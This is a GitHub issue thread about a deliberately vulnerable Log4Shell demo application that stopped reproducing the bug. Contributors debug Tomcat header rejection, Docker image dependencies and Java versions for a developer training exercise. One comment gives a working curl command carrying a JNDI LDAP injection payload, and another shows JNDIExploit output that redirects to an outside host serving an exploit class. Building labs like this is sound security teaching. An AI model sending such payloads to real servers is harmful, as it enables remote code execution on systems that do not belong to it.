christophetd/log4shell-vulnerable-app

No longer working

drcircuit opened this issue · 9 comments

Hi, this sample is no longer working, the log on the vulnerable application shows this error:
"java.lang.IllegalArgumentException: The HTTP header line [x-/api/msg Api-Version: ${jndi:ldap://127.0.0.1/a}] does not conform to RFC 7230 and has been ignored."

Is there any particular version of the environment dependencies that need to be used? Or have they backported the fixes?

I would love to use this on a training exercise for new devs, but I can't get it to behave as it should.

It seems to be Tomcat that may be the culprit. Changing this parameter gets the request through without errors:
server.tomcat.reject-illegal-header=false

however, the ldap request is never issues by the server.

Thanks for reporting! We might need to pin the tomcat version like we did for log4j? It was working before, so I assume it must be a dependency that changed its behavior indeed

Any idea?

I think it is the Tomcat version. But I haven't been able to find a version that works.

Still works for me using the Docker version.

$ curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://x.x.x.x:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
$ docker exec 5e4e4aed9327 ls /tmp
hsperfdata_root
pwned
tomcat-docbase.8080.4223266905886318734
tomcat.8080.130237176217667362

That said, I also confirmed it doesn't work (but with a different behavior) if you directly run the application, likely because the Docker image was built months ago with other dependency versions.

This is what I get:

Received a request for API version Reference Class Name: foo

and in the JNDIExploit output:

[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=
[+] Paylaod: command
[+] Command: touch /tmp/pwned

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo= with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo= redirecting to http://46.101.191.103:8888/ExploitMifb6rYfMm.class

... but no RCE. Setting server.tomcat.reject-illegal-header=false doesn't change anything for me.

Let me investigate and report back here

Library versions inside of the Docker image:

./jackson-annotations-2.13.0.jar
./jackson-core-2.13.0.jar
./jackson-databind-2.13.0.jar
./jackson-datatype-jdk8-2.13.0.jar
./jackson-datatype-jsr310-2.13.0.jar
./jackson-module-parameter-names-2.13.0.jar
./jakarta.annotation-api-1.3.5.jar
./jul-to-slf4j-1.7.32.jar
./log4j-api-2.14.1.jar
./log4j-core-2.14.1.jar
./log4j-jul-2.14.1.jar
./log4j-slf4j-impl-2.14.1.jar
./slf4j-api-1.7.32.jar
./snakeyaml-1.29.jar
./spring-aop-5.3.13.jar
./spring-beans-5.3.13.jar
./spring-boot-2.6.1.jar
./spring-boot-autoconfigure-2.6.1.jar
./spring-boot-jarmode-layertools-2.6.1.jar
./spring-context-5.3.13.jar
./spring-core-5.3.13.jar
./spring-expression-5.3.13.jar
./spring-jcl-5.3.13.jar
./spring-web-5.3.13.jar
./spring-webmvc-5.3.13.jar
./tomcat-embed-core-9.0.55.jar
./tomcat-embed-el-9.0.55.jar
./tomcat-embed-websocket-9.0.55.jar

vs. if we build it right now:

./jackson-annotations-2.13.0.jar
./jackson-core-2.13.0.jar
./jackson-databind-2.13.0.jar
./jackson-datatype-jdk8-2.13.0.jar
./jackson-datatype-jsr310-2.13.0.jar
./jackson-module-parameter-names-2.13.0.jar
./jakarta.annotation-api-1.3.5.jar
./jul-to-slf4j-1.7.32.jar
./log4j-api-2.14.1.jar
./log4j-core-2.14.1.jar
./log4j-jul-2.14.1.jar
./log4j-slf4j-impl-2.14.1.jar
./slf4j-api-1.7.32.jar
./snakeyaml-1.29.jar
./spring-aop-5.3.13.jar
./spring-beans-5.3.13.jar
./spring-boot-2.6.1.jar
./spring-boot-autoconfigure-2.6.1.jar
./spring-boot-jarmode-layertools-2.6.1.jar
./spring-context-5.3.13.jar
./spring-core-5.3.13.jar
./spring-expression-5.3.13.jar
./spring-jcl-5.3.13.jar
./spring-web-5.3.13.jar
./spring-webmvc-5.3.13.jar
./tomcat-embed-core-9.0.55.jar
./tomcat-embed-el-9.0.55.jar
./tomcat-embed-websocket-9.0.55.jar

Which if you diff it is the same. Based on that I have no clue what is not working.

I will update the README and say to use the specific working SHA256 hash of the image so it doesn't break in the future

I had the same problem.

I was first making use of Java Version 1.8.0_202.

Through further testing and trial and error. I found that my problem was to do with the java version.

I solved the problem by downgrading to Java Version 1.8.0_181.

1.8.0_181 is already the version that's in the image.

I confirm that the docker version works. I used Java JDS 1.8.0_202
image

image

Thanks for confirming